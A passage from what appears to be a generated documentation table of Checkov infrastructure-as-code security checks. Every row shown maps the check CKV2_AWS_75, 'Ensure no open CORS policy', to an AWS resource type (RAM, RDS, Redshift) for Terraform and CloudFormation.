                                       |\n| 4555 | CKV2_AWS_75              | resource                         | aws_ram_resource_share_accepter                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4556 | CKV2_AWS_75              | resource                         | aws_ram_resource_share_accepter                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4557 | CKV2_AWS_75              | resource                         | aws_ram_sharing_with_organization                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4558 | CKV2_AWS_75              | resource                         | aws_ram_sharing_with_organization                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4559 | CKV2_AWS_75              | resource                         | aws_rbin_rule                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4560 | CKV2_AWS_75              | resource                         | aws_rbin_rule                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4561 | CKV2_AWS_75              | resource                         | aws_rds_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4562 | CKV2_AWS_75              | resource                         | aws_rds_certificate                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4563 | CKV2_AWS_75              | resource                         | aws_rds_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4564 | CKV2_AWS_75              | resource                         | aws_rds_cluster                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4565 | CKV2_AWS_75              | resource                         | aws_rds_cluster_activity_stream                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4566 | CKV2_AWS_75              | resource                         | aws_rds_cluster_activity_stream                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4567 | CKV2_AWS_75              | resource                         | aws_rds_cluster_endpoint                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4568 | CKV2_AWS_75              | resource                         | aws_rds_cluster_endpoint                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4569 | CKV2_AWS_75              | resource                         | aws_rds_cluster_instance                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4570 | CKV2_AWS_75              | resource                         | aws_rds_cluster_instance                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4571 | CKV2_AWS_75              | resource                         | aws_rds_cluster_parameter_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4572 | CKV2_AWS_75              | resource                         | aws_rds_cluster_parameter_group                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4573 | CKV2_AWS_75              | resource                         | aws_rds_cluster_role_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4574 | CKV2_AWS_75              | resource                         | aws_rds_cluster_role_association                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4575 | CKV2_AWS_75              | resource                         | aws_rds_cluster_snapshot_copy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4576 | CKV2_AWS_75              | resource                         | aws_rds_cluster_snapshot_copy                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4577 | CKV2_AWS_75              | resource                         | aws_rds_custom_db_engine_version                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4578 | CKV2_AWS_75              | resource                         | aws_rds_custom_db_engine_version                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4579 | CKV2_AWS_75              | resource                         | aws_rds_export_task                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4580 | CKV2_AWS_75              | resource                         | aws_rds_export_task                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4581 | CKV2_AWS_75              | resource                         | aws_rds_global_cluster                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4582 | CKV2_AWS_75              | resource                         | aws_rds_global_cluster                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4583 | CKV2_AWS_75              | resource                         | aws_rds_instance_state                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4584 | CKV2_AWS_75              | resource                         | aws_rds_instance_state                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4585 | CKV2_AWS_75              | resource                         | aws_rds_integration                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4586 | CKV2_AWS_75              | resource                         | aws_rds_integration                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4587 | CKV2_AWS_75              | resource                         | aws_rds_reserved_instance                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4588 | CKV2_AWS_75              | resource                         | aws_rds_reserved_instance                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4589 | CKV2_AWS_75              | resource                         | aws_redshift_authentication_profile                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4590 | CKV2_AWS_75              | resource                         | aws_redshift_authentication_profile                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4591 | CKV2_AWS_75              | resource                         | aws_redshift_cluster                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4592 | CKV2_AWS_75              | resource                         | aws_redshift_cluster                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4593 | CKV2_AWS_75              | resource                         | aws_redshift_cluster_iam_roles                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4594 | CKV2_AWS_75              | resource                         | aws_redshift_cluster_iam_roles                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4595 | CKV2_AWS_75              | resource                         | aws_redshift_cluster_snapshot                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4596 | CKV2_AWS_75              | resource                         | aws_redshift_cluster_snapshot                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4597 | CKV2_AWS_75              | resource                         | aws_redshift_data_share_authorization                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4598 | CKV2_AWS_75              | resource                         | aws_redshift_data_share_authorization                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4599 | CKV2_AWS_75              | resource                         | aws_redshift_data_share_consumer_association                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4600 | CKV2_AWS_75              | resource                         | aws_redshift_data_share_consumer_association                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4601 | CKV2_AWS_75              | resource                         | aws_redshift_endpoint_access                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4602 | CKV2_AWS_75              | resource                         | aws_redshift_endpoint_access                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4603 | CKV2_AWS_75              | resource                         | aws_redshift_endpoint_authorization                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4604 | CKV2_AWS_75              | resource                         | aws_redshift_endpoint_authorization                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4605 | CKV2_AWS_75              | resource                         | aws_redshift_event_subscription                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4606 | CKV2_AWS_75              | resource                         | aws_redshift_event_subscription                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4607 | CKV2_AWS_75              | resource                         | aws_redshift_hsm_client_certificate                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4608 | CKV2_AWS_75              | resource                         | aws_redshift_hsm_client_certificate                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4609 | CKV2_AWS_75              | resource                         | aws_redshift_hsm_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4610 | CKV2_AWS_75              | resource                         | aws_redshift_hsm_configuration                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4611 | CKV2_AWS_75              | resource                         | aws_redshift_logging                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4612 | CKV2_AWS_75              | resource                         | aws_redshift_logging                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4613 | CKV2_AWS_75              | resource                         | aws_redshift_parameter_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4614 | CKV2_AWS_75              | resource                         | aws_redshift_parameter_group                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4615 | CKV2_AWS_75              | resource                         | aws_redshift_partner                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4616 | CKV2_AWS_75              | resource                         | aws_redshift_partner                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4617 | CKV2_AWS_75              | resource                         | aws_redshift_resource_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4618 | CKV2_AWS_75              | resource                         | aws_redshift_resource_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4619 | CKV2_AWS_75              | resource                         | aws_redshift_scheduled_action                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4620 | CKV2_AWS_75              | resource                         | aws_redshift_scheduled_action                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4621 | CKV2_AWS_75              | resource                         | aws_redshift_security_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4622 | CKV2_AWS_75              | resource                         | aws_redshift_security_group                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4623 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_copy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4624 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_copy                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4625 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_copy_grant                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4626 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_copy_grant                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4627 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_schedule                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4628 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_schedule                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4629 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_schedule_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4630 | CKV2_AWS_75              | resource                         | aws_redshift_snapshot_schedule_association                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4631 | CKV2_AWS_75              | resource                         | aws_redshift_subnet_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4632 | CKV2_AWS_75              | resource                         | aws_redshift_subnet_group                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4633 | CKV2_AWS_75              | resource                         | aws_redshift_usage_limit                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4634 | CKV2_AWS_75              | resource                         | aws_redshift_usage_limit                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4635 | CKV2_AWS_75              | resource                         | aws_redshiftdata_statement                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4636 | CKV2_AWS_75              | resource                         | aws_redshiftdata_statement                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4637 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_custom_domain_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4638 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_custom_domain_association                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4639 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_endpoint_access                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4640 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_endpoint_access                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4641 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_namespace                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4642 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_namespace                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4643 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_resource_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4644 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_resource_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4645 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_snapshot                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4646 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_snapshot                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4647 | CKV2_AWS_75              | resource                         | aws_redshiftserverless_usage_limit                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | 